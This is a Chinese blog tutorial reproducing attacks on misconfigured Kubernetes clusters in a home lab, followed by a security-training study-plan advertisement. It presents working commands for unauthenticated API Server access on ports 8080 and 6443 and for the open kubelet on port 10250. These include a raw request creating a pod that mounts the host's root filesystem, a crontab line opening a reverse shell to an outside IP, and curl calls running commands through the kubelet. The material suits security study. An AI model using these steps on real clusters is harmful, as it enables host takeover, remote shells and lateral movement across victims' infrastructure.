赞
踩
K8S集群架构解释
K8S集群攻击点-重点
API Server未授权访问&kubelet未授权访问复现
* k8s集群环境搭建
Kubernetes是一个开源的,用于编排云平台中多个主机上的容器化的应用,目标是让部署容器化的应用能简单并且高效的使用,
提供了应用部署,规划,更新,维护的一种机制。其核心的特点就是能够自主的管理容器来保证云平台中的容器按照用户的期望状态运行着,管理员可以加载一个微型服务,让规划器来找到合适的位置,同时,Kubernetes在系统提升工具以及人性化方面,让用户能够方便的部署自己的应用。
1、Master节点
2、Node节点
3、Pod
![在这里插入图片描述](https://img-
blog.csdnimg.cn/36ccd3c9da6b410191b4fa6db4b06557.png)![在这里插入图片描述](https://img-
blog.csdnimg.cn/ba1d6759c34f4151a4d83dfbd696768a.png)
具体参考:
https://blog.csdn.net/qq_34101364/article/details/122506768
随着越来越多企业开始上云的步伐,在攻防演练中常常碰到云相关的场景,例:公有云、私有云、混合云、虚拟化集群等。以往渗透路径「外网突破->提权->权限维持->信息收集->横向移动->循环收集信息」,直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局,也打开了新的入侵路径,例如:
1、通过虚拟机攻击云管理平台,利用管理平台控制所有机器
2、通过容器进行逃逸,从而控制宿主机以及横向渗透到K8s Master节点控制所有容器
3、利用KVM-QEMU/执行逃逸获取宿主机,进入物理网络横向移动控制云平台
目前互联网上针对云原生场景下的攻击手法零零散散的较多,仅有一些厂商发布过相关矩阵技术,但没有过多的细节展示,本文基于微软发布的Kubernetes威胁矩阵进行扩展,介绍相关的具体攻击方法。
详细攻击点参考:
https://mp.weixin.qq.com/s/yQoqozJgP8F-ad24xgzIPw
https://mp.weixin.qq.com/s/QEuQa0KVwykrMzOPdgEHMQ
搭建环境使用3台Centos 7,参考:
https://www.jianshu.com/p/25c01cae990c
https://blog.csdn.net/fly910905/article/details/120887686
一个集群包含三个节点,其中包括一个控制节点和两个工作节点
master:10.10.10.167
node1:10.10.10.170
node2:10.10.10.171
最后的效果
旧版本的k8s的API Server默认会开启两个端口:8080和6443。
6443是安全端口,安全端口使用TLS加密;但是8080端口无需认证,
仅用于测试。6443端口需要认证,且有 TLS 保护。(k8s<1.16.0)
新版本k8s默认已经不开启8080。需要更改相应的配置
cd /etc/kubernetes/manifests/
需要手动添加这两条配置(新版本k8s)
- –insecure-port=8080
- –insecure-bind-address=0.0.0.0
重启k8s服务
systemctl restart kubelet.service
![在这里插入图片描述](https://img-
blog.csdnimg.cn/42300534fc7648f7a2a16b1faa531a34.png)漏洞利用:
kubectl.exe -s 192.168.139.130:8080 get nodes
kubectl.exe -s 10.10.10.167:8080 get pods
kubectl -s 10.10.10.167:8080 create -f test.yaml
kubectl -s 10.10.10.167:8080 --namespace=default exec -it test bash
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.139.128/7788 0>&1\n" >> /mnt/etc/crontab
![在这里插入图片描述](https://img-
blog.csdnimg.cn/6f144f7dc5f341e6b6834779fe3a9d25.png)简单分析下,可以看到计划任务写入了node1主机中
![在这里插入图片描述](https://img-
blog.csdnimg.cn/4aec5061590347e48a1fb4d81a8815c7.png)![在这里插入图片描述](https://img-
blog.csdnimg.cn/381aaf01c2df4420b165d04e7d863702.png)
正常情况下:
![在这里插入图片描述](https://img-
blog.csdnimg.cn/697754a6c64f4309ab459f1ca53af784.png)一些集群由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-
admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-
admin --user=system:anonymous
存在漏洞:
-创建恶意pods
POST /api/v1/namespaces/default/pods HTTP/2 Host: 10.10.10.167:6443 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Te: trailers Content-Length: 1176 { "apiVersion": "v1", "kind": "Pod", "metadata": { "annotations": { "kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-4444\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-4444\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n" }, "name": "test-4444", "namespace": "default" }, "spec": { "containers": [ { "image": "nginx:1.14.2", "name": "test-4444", "volumeMounts": [ { "mountPath": "/host", "name": "host" } ] } ], "volumes": [ { "hostPath": { "path": "/", "type": "Directory" }, "name": "host" } ] } }
![在这里插入图片描述](https://img-
blog.csdnimg.cn/94d6603d1c9945faaf9a5ef5eb04a28f.png)![在这里插入图片描述](https://img-
blog.csdnimg.cn/724be8cc4d644b1d9545bd105bd57191.png)
-连接判断pods
kubectl --insecure-skip-tls-verify -s https://10.10.10.167:6443 get pods
用户名密码随便输
-连接执行pods
kubectl --insecure-skip-tls-verify -s https://10.10.10.167:6443 --namespace=default exec -it test-4444 bash
-上述一样
环境搭建
注意是在pod节点中配置
https://10.10.10.170:10250/pods
/var/lib/kubelet/config.yaml
修改authentication的anonymous为true,
将authorization mode修改为AlwaysAllow,
重启kubelet进程-systemctl restart kubelet
![在这里插入图片描述](https://img-
blog.csdnimg.cn/6373a554874b405f8055521b31ec90ca.png)-访问获取:
https://10.10.10.170:10250/runningpods/
-利用执行命令这里需要获取三个参数
namespace default
pod whgojp
container test-container
-执行模版:
curl -XPOST -k "https://10.10.10.170:10250/run/<namespace>/<pod>/<container>" -d "cmd=id"
![在这里插入图片描述](https://img-
blog.csdnimg.cn/00a006cb93014238a472a0dae8b47efe.png)还是在容器中,后续操作同上(写计划任务)
接下来我将给各位同学划分一张学习计划表!
那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:
接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。
综合薪资区间6k~15k
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
![](https://img-
blog.csdnimg.cn/9342a47116654b6fa263d98ddc1440ee.png#pic_center)
那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?
综合薪资区间15k~30k
7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。
零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;
Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完
用Python编写漏洞的exp,然后写一个简单的网络爬虫
PHP基本语法学习并书写一个简单的博客系统
熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)
了解Bootstrap的布局或者CSS。
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。